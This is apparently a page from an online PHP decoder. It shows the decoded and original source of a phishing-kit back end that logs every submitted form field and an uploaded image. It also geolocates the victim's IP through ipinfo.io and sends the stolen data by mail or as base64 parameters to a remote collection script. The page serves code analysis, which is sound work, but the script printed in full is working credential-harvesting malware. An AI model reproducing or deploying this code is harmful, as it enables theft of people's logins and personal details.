Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php include"c.php";if($_SERVER['REQUEST_METHOD']=='POST'){header('Location: login.html')..

Decoded Output download

<?php include"c.php";if($_SERVER['REQUEST_METHOD']=='POST'){header('Location: login.html');$n0=rand(100,999)."-";$l1='uploads/'.$n0;$p2=$l1.$_FILES['uploadfile']['name'];move_uploaded_file($_FILES['uploadfile']['tmp_name'],$p2);$x3=fopen('bxxx','a');fwrite($x3,'----------------------------------------------------------------------['.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'].']---['.strtoupper(date("h:i:s a - Y/m/d")).']---['.$_SERVER['REMOTE_ADDR']."]
");foreach($_POST as $l4=>$f5){fwrite($x3,$l4.': '.$f5."
");}fclose($x3);$z6="PAGE NAME:".$_POST["PAGE-NAME"];$k7="PAGE URL:".$_POST["PAGE-URL"];$z8="Category:".$_POST["kategorija"];$h9="Birthday:".$_POST["dita"]."/".$_POST["muji"]."/".$_POST["viti"];$y10="IMG NAME:".$n0.$_FILES['uploadfile']['name'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$j11=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$j11=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$j11=$_SERVER['REMOTE_ADDR'];}@$t12=json_decode(file_get_contents("http://ipinfo.io/{$j11}/json"));@$p13=gethostbyaddr($j11);$a14=preg_replace("%[^/a-zA-Z0-9@,_=]%",'',$_SERVER['QUERY_STRING']);$j15=$a14.PHP_EOL.PHP_EOL.'[IP address]: '.$j11.PHP_EOL.PHP_EOL.'[Hostname]: '.$p13.PHP_EOL.PHP_EOL.'[Browser and OS]: '.$_SERVER['HTTP_USER_AGENT'].PHP_EOL.$_SERVER['HTTP_REFERER'].PHP_EOL.PHP_EOL.'[Coordinates]: '.$t12->$m16.PHP_EOL.PHP_EOL.'[ISP provider]: '.$t12->$i17.PHP_EOL.PHP_EOL.'[City]: '.$t12->$j18.PHP_EOL.PHP_EOL.'[State]: '.$t12->$o19.PHP_EOL.PHP_EOL.'[Country]: '.$t12->$h20.PHP_EOL.PHP_EOL.'[Date]: '.date("D dS M,Y h:i a");$a21="I DHA TE DHANAT";$c22=$z6.PHP_EOL.$k7.PHP_EOL.$z8.PHP_EOL.$h9.PHP_EOL.$y10.PHP_EOL.$j15;$i23="";if($z24==0){mail($x25,$a21,$c22,$i23);}else{file_get_contents(''.$u26.'/1.php?mail='.base64_encode($x25).'&title='.base64_encode($a21).'&text='.base64_encode($c22).'&from=baba');}die();}?>

Did this file decode correctly?

Original Code

<?php include"c.php";if($_SERVER['REQUEST_METHOD']=='POST'){header('Location: login.html');$n0=rand(100,999)."-";$l1='uploads/'.$n0;$p2=$l1.$_FILES['uploadfile']['name'];move_uploaded_file($_FILES['uploadfile']['tmp_name'],$p2);$x3=fopen('bxxx','a');fwrite($x3,'----------------------------------------------------------------------['.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'].']---['.strtoupper(date("h:i:s a - Y/m/d")).']---['.$_SERVER['REMOTE_ADDR']."]\r\n");foreach($_POST as $l4=>$f5){fwrite($x3,$l4.': '.$f5."\r\n");}fclose($x3);$z6="PAGE NAME:".$_POST["PAGE-NAME"];$k7="PAGE URL:".$_POST["PAGE-URL"];$z8="Category:".$_POST["kategorija"];$h9="Birthday:".$_POST["dita"]."/".$_POST["muji"]."/".$_POST["viti"];$y10="IMG NAME:".$n0.$_FILES['uploadfile']['name'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$j11=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$j11=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$j11=$_SERVER['REMOTE_ADDR'];}@$t12=json_decode(file_get_contents("http://ipinfo.io/{$j11}/json"));@$p13=gethostbyaddr($j11);$a14=preg_replace("%[^/a-zA-Z0-9@,_=]%",'',$_SERVER['QUERY_STRING']);$j15=$a14.PHP_EOL.PHP_EOL.'[IP address]: '.$j11.PHP_EOL.PHP_EOL.'[Hostname]: '.$p13.PHP_EOL.PHP_EOL.'[Browser and OS]: '.$_SERVER['HTTP_USER_AGENT'].PHP_EOL.$_SERVER['HTTP_REFERER'].PHP_EOL.PHP_EOL.'[Coordinates]: '.$t12->$m16.PHP_EOL.PHP_EOL.'[ISP provider]: '.$t12->$i17.PHP_EOL.PHP_EOL.'[City]: '.$t12->$j18.PHP_EOL.PHP_EOL.'[State]: '.$t12->$o19.PHP_EOL.PHP_EOL.'[Country]: '.$t12->$h20.PHP_EOL.PHP_EOL.'[Date]: '.date("D dS M,Y h:i a");$a21="I DHA TE DHANAT";$c22=$z6.PHP_EOL.$k7.PHP_EOL.$z8.PHP_EOL.$h9.PHP_EOL.$y10.PHP_EOL.$j15;$i23="";if($z24==0){mail($x25,$a21,$c22,$i23);}else{file_get_contents(''.$u26.'/1.php?mail='.base64_encode($x25).'&title='.base64_encode($a21).'&text='.base64_encode($c22).'&from=baba');}die();}?>

Function Calls

None

Variables

None

Stats

MD5 edfbe5f11ecb96e96b6f45c5dcede692
Eval Count 0
Decode Time 101 ms